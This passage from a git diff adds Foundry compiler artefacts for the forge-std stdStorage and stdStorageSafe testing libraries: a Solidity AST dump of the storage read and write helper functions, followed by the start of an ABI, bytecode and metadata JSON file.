pure"}},"id":9276,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16824:61:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9277,"nodeType":"ExpressionStatement","src":"16824:61:8"}]}},{"expression":{"arguments":[{"id":9281,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9096,"src":"16911:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":9280,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9015,"src":"16905:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":9282,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"16905:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":9283,"nodeType":"ExpressionStatement","src":"16905:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"checked_write","nameLocation":"15448:13:8","parameters":{"id":9099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9096,"mutability":"mutable","name":"self","nameLocation":"15481:4:8","nodeType":"VariableDeclaration","scope":9285,"src":"15462:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9095,"nodeType":"UserDefinedTypeName","pathNode":{"id":9094,"name":"StdStorage","nameLocations":["15462:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"15462:10:8"},"referencedDeclaration":7427,"src":"15462:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":9098,"mutability":"mutable","name":"set","nameLocation":"15495:3:8","nodeType":"VariableDeclaration","scope":9285,"src":"15487:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9097,"name":"bytes32","nodeType":"ElementaryTypeName","src":"15487:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"15461:38:8"},"returnParameters":{"id":9100,"nodeType":"ParameterList","parameters":[],"src":"15509:0:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9299,"nodeType":"FunctionDefinition","src":"16929:131:8","nodes":[],"body":{"id":9298,"nodeType":"Block","src":"17003:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9295,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9288,"src":"17048:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9293,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17020:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9294,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17035:12:8","memberName":"read_bytes32","nodeType":"MemberAccess","referencedDeclaration":8364,"src":"17020:27:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) returns (bytes32)"}},"id":9296,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17020:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"functionReturnParameters":9292,"id":9297,"nodeType":"Return","src":"17013:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bytes32","nameLocation":"16938:12:8","parameters":{"id":9289,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9288,"mutability":"mutable","name":"self","nameLocation":"16970:4:8","nodeType":"VariableDeclaration","scope":9299,"src":"16951:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9287,"nodeType":"UserDefinedTypeName","pathNode":{"id":9286,"name":"StdStorage","nameLocations":["16951:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"16951:10:8"},"referencedDeclaration":7427,"src":"16951:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"16950:25:8"},"returnParameters":{"id":9292,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9291,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9299,"src":"16994:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9290,"name":"bytes32","nodeType":"ElementaryTypeName","src":"16994:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"16993:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9313,"nodeType":"FunctionDefinition","src":"17066:122:8","nodes":[],"body":{"id":9312,"nodeType":"Block","src":"17134:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9309,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9302,"src":"17176:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9307,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17151:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9308,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17166:9:8","memberName":"read_bool","nodeType":"MemberAccess","referencedDeclaration":8395,"src":"17151:24:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bool_$","typeString":"function (struct StdStorage storage pointer) returns (bool)"}},"id":9310,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17151:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":9306,"id":9311,"nodeType":"Return","src":"17144:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_bool","nameLocation":"17075:9:8","parameters":{"id":9303,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9302,"mutability":"mutable","name":"self","nameLocation":"17104:4:8","nodeType":"VariableDeclaration","scope":9313,"src":"17085:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9301,"nodeType":"UserDefinedTypeName","pathNode":{"id":9300,"name":"StdStorage","nameLocations":["17085:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17085:10:8"},"referencedDeclaration":7427,"src":"17085:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17084:25:8"},"returnParameters":{"id":9306,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9305,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9313,"src":"17128:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":9304,"name":"bool","nodeType":"ElementaryTypeName","src":"17128:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"17127:6:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9327,"nodeType":"FunctionDefinition","src":"17194:131:8","nodes":[],"body":{"id":9326,"nodeType":"Block","src":"17268:57:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9323,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9316,"src":"17313:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9321,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17285:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9322,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17300:12:8","memberName":"read_address","nodeType":"MemberAccess","referencedDeclaration":8414,"src":"17285:27:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_address_$","typeString":"function (struct StdStorage storage pointer) returns (address)"}},"id":9324,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17285:33:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":9320,"id":9325,"nodeType":"Return","src":"17278:40:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_address","nameLocation":"17203:12:8","parameters":{"id":9317,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9316,"mutability":"mutable","name":"self","nameLocation":"17235:4:8","nodeType":"VariableDeclaration","scope":9327,"src":"17216:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9315,"nodeType":"UserDefinedTypeName","pathNode":{"id":9314,"name":"StdStorage","nameLocations":["17216:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17216:10:8"},"referencedDeclaration":7427,"src":"17216:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17215:25:8"},"returnParameters":{"id":9320,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9319,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9327,"src":"17259:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":9318,"name":"address","nodeType":"ElementaryTypeName","src":"17259:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"17258:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9341,"nodeType":"FunctionDefinition","src":"17331:125:8","nodes":[],"body":{"id":9340,"nodeType":"Block","src":"17402:54:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9337,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9330,"src":"17444:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9335,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17419:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17434:9:8","memberName":"read_uint","nodeType":"MemberAccess","referencedDeclaration":8433,"src":"17419:24:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer) returns (uint256)"}},"id":9338,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17419:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":9334,"id":9339,"nodeType":"Return","src":"17412:37:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_uint","nameLocation":"17340:9:8","parameters":{"id":9331,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9330,"mutability":"mutable","name":"self","nameLocation":"17369:4:8","nodeType":"VariableDeclaration","scope":9341,"src":"17350:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9329,"nodeType":"UserDefinedTypeName","pathNode":{"id":9328,"name":"StdStorage","nameLocations":["17350:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17350:10:8"},"referencedDeclaration":7427,"src":"17350:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17349:25:8"},"returnParameters":{"id":9334,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9333,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9341,"src":"17393:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9332,"name":"uint256","nodeType":"ElementaryTypeName","src":"17393:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17392:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9355,"nodeType":"FunctionDefinition","src":"17462:122:8","nodes":[],"body":{"id":9354,"nodeType":"Block","src":"17531:53:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9351,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9344,"src":"17572:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9349,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17548:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9350,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17563:8:8","memberName":"read_int","nodeType":"MemberAccess","referencedDeclaration":8452,"src":"17548:23:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_int256_$","typeString":"function (struct StdStorage storage pointer) returns (int256)"}},"id":9352,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17548:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"functionReturnParameters":9348,"id":9353,"nodeType":"Return","src":"17541:36:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_int","nameLocation":"17471:8:8","parameters":{"id":9345,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9344,"mutability":"mutable","name":"self","nameLocation":"17499:4:8","nodeType":"VariableDeclaration","scope":9355,"src":"17480:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9343,"nodeType":"UserDefinedTypeName","pathNode":{"id":9342,"name":"StdStorage","nameLocations":["17480:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17480:10:8"},"referencedDeclaration":7427,"src":"17480:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17479:25:8"},"returnParameters":{"id":9348,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9347,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9355,"src":"17523:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":9346,"name":"int256","nodeType":"ElementaryTypeName","src":"17523:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"17522:8:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9371,"nodeType":"FunctionDefinition","src":"17590:128:8","nodes":[],"body":{"id":9370,"nodeType":"Block","src":"17667:51:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9367,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9358,"src":"17706:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9365,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17684:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9366,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17699:6:8","memberName":"parent","nodeType":"MemberAccess","referencedDeclaration":8518,"src":"17684:21:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_uint256_$_t_bytes32_$","typeString":"function (struct StdStorage storage pointer) returns (uint256,bytes32)"}},"id":9368,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17684:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_uint256_$_t_bytes32_$","typeString":"tuple(uint256,bytes32)"}},"functionReturnParameters":9364,"id":9369,"nodeType":"Return","src":"17677:34:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"parent","nameLocation":"17599:6:8","parameters":{"id":9359,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9358,"mutability":"mutable","name":"self","nameLocation":"17625:4:8","nodeType":"VariableDeclaration","scope":9371,"src":"17606:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9357,"nodeType":"UserDefinedTypeName","pathNode":{"id":9356,"name":"StdStorage","nameLocations":["17606:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17606:10:8"},"referencedDeclaration":7427,"src":"17606:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17605:25:8"},"returnParameters":{"id":9364,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9361,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9371,"src":"17649:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9360,"name":"uint256","nodeType":"ElementaryTypeName","src":"17649:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":9363,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9371,"src":"17658:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":9362,"name":"bytes32","nodeType":"ElementaryTypeName","src":"17658:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"17648:18:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":9385,"nodeType":"FunctionDefinition","src":"17724:115:8","nodes":[],"body":{"id":9384,"nodeType":"Block","src":"17790:49:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":9381,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":9374,"src":"17827:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"expression":{"id":9379,"name":"stdStorageSafe","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8781,"src":"17807:14:8","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_stdStorageSafe_$8781_$","typeString":"type(library stdStorageSafe)"}},"id":9380,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17822:4:8","memberName":"root","nodeType":"MemberAccess","referencedDeclaration":8607,"src":"17807:19:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_uint256_$","typeString":"function (struct StdStorage storage pointer) returns (uint256)"}},"id":9382,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"17807:25:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":9378,"id":9383,"nodeType":"Return","src":"17800:32:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"root","nameLocation":"17733:4:8","parameters":{"id":9375,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9374,"mutability":"mutable","name":"self","nameLocation":"17757:4:8","nodeType":"VariableDeclaration","scope":9385,"src":"17738:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":9373,"nodeType":"UserDefinedTypeName","pathNode":{"id":9372,"name":"StdStorage","nameLocations":["17738:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"17738:10:8"},"referencedDeclaration":7427,"src":"17738:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"17737:25:8"},"returnParameters":{"id":9378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":9377,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":9385,"src":"17781:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":9376,"name":"uint256","nodeType":"ElementaryTypeName","src":"17781:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"17780:9:8"},"scope":9386,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"stdStorage","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[9386],"name":"stdStorage","nameLocation":"12768:10:8","scope":9387,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":8} \ No newline at end of file diff --git a/contracts/out/StdStorage.sol/stdStorageSafe.json b/contracts/out/StdStorage.sol/stdStorageSafe.json new file mode 100644 index 000000000..a81469fba --- /dev/null +++ b/contracts/out/StdStorage.sol/stdStorageSafe.json @@ -0,0 +1 @@ +{"abi":[{"type":"event","name":"SlotFound","inputs":[{"name":"who","type":"address","indexed":false,"internalType":"address"},{"name":"fsig","type":"bytes4","indexed":false,"internalType":"bytes4"},{"name":"keysHash","type":"bytes32","indexed":false,"internalType":"bytes32"},{"name":"slot","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"WARNING_UninitedSlot","inputs":[{"name":"who","type":"address","indexed":false,"internalType":"address"},{"name":"slot","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false}],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220dd6cbdb3c0a394c3fe0f7b3aec7b2184f663df87ba932b59cf5b9aed46eebe8c64736f6c63430008180033","sourceMap":"450:12308:8:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;450:12308:8;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea2646970667358221220dd6cbdb3c0a394c3fe0f7b3aec7b2184f663df87ba932b59cf5b9aed46eebe8c64736f6c63430008180033","sourceMap":"450:12308:8:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"who\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bytes4\",\"name\":\"fsig\",\"type\":\"bytes4\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"keysHash\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"slot\",\"type\":\"uint256\"}],\"name\":\"SlotFound\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"who\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"slot\",\"type\":\"uint256\"}],\"name\":\"WARNING_UninitedSlot\",\"type\":\"event\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/StdStorage.sol\":\"stdStorageSafe\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/StdStorage.sol\":{\"keccak256\":\"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678\",\"dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft\"]},\"lib/forge-std/src/Vm.sol\":{\"keccak256\":\"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f\",\"license\":\"MIT OR 